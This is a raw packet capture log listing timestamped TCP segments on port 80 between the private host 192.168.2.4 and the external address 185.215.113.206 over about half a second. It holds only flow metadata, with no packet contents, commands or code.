Oct 28, 2024 06:27:24.292381048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292412996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292541981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292552948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292563915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292573929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292586088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292593956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292615891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292633057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292684078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292695999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292706966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292716980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292735100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292762995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292817116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292860031 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292892933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292916059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292927027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.292938948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292951107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.292973995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293006897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293031931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293056011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293068886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293088913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293100119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293108940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293133974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293150902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293160915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293164015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293174028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293195009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293221951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293375969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293391943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293404102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293415070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293418884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293450117 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293464899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293574095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293587923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293598890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293610096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293622017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293623924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293651104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293664932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293740988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293751955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293761969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293787003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293792963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293804884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293812037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293814898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293833017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293839931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293844938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293857098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293869019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.293874025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293891907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.293910027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.294209003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.294218063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.294224024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.294229984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.294240952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.294260025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.294307947 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.334887981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.334908009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.334917068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.335077047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.335397959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.335407972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.335417986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.335429907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.335458994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.335483074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412301064 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412312984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412319899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412552118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412559986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412563086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412574053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412611008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412637949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412669897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412687063 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412698030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412708044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412715912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412719011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412729025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412739992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412751913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412772894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412787914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412808895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412818909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412836075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412847996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412856102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412879944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412880898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412892103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.412906885 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412935972 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.412983894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413028002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413048029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413058043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413075924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413086891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413094997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413120985 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413146973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413157940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413193941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413271904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413281918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413291931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413316011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413325071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413335085 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413336039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413372040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413438082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413455963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413465023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413480043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413531065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413542032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413552046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413562059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413573027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413588047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413593054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413602114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413604975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413634062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413825035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413866043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413866997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413877010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413913965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413924932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413935900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413945913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.413969994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413985014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.413995028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414005995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414016008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414041996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.414062977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.414179087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414222002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.414309025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414319992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414330006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414340019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414351940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414352894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.414364100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414376020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414386988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414388895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.414398909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414410114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.414428949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.414470911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.414588928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414606094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414616108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414627075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414638996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.414638996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.414659977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.414689064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.455339909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.455352068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.455362082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.455372095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.455414057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.455456018 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.455797911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.455842018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.455852032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.455862999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.455876112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.455884933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.455887079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.455909967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.455944061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.532787085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.532802105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.532813072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.532850981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.532883883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533243895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533262014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533273935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533291101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533303022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533313990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533324003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533334970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533346891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533349991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533349991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533359051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533366919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533366919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533370972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533384085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533394098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533412933 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533431053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533432007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533440113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533453941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533464909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533477068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533482075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533493996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533502102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533504009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533515930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533529997 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533556938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533572912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533581972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533605099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533617020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533643961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533654928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533665895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533675909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533685923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533699989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533720970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533744097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533811092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533853054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533854961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533864021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533890963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533895016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533902884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533927917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533940077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533950090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.533951044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533973932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.533991098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534051895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534091949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534136057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534147024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534157038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534167051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534172058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534183979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534187078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534194946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534204960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534212112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534240007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534369946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534410000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534415960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534425974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534455061 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534538984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534549952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534560919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534571886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534581900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534584045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534595013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534605980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534610987 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534620047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534641027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534653902 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534836054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534846067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534857035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534873009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534882069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534887075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534897089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534907103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534909010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534919977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534930944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534938097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534944057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.534956932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534974098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.534996033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.535149097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.535187960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.535209894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.535219908 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.535247087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.535259962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.575967073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.575985909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.575997114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.576034069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.576059103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.576252937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.576263905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.576275110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.576291084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.576313019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.618900061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.618916988 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.618928909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.618957996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.618984938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.653335094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.653350115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.653359890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.653373957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.653423071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:24.653430939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.653443098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.653454065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:24.653459072 CET	49758	80	192.168.2.4	185.215.113.206
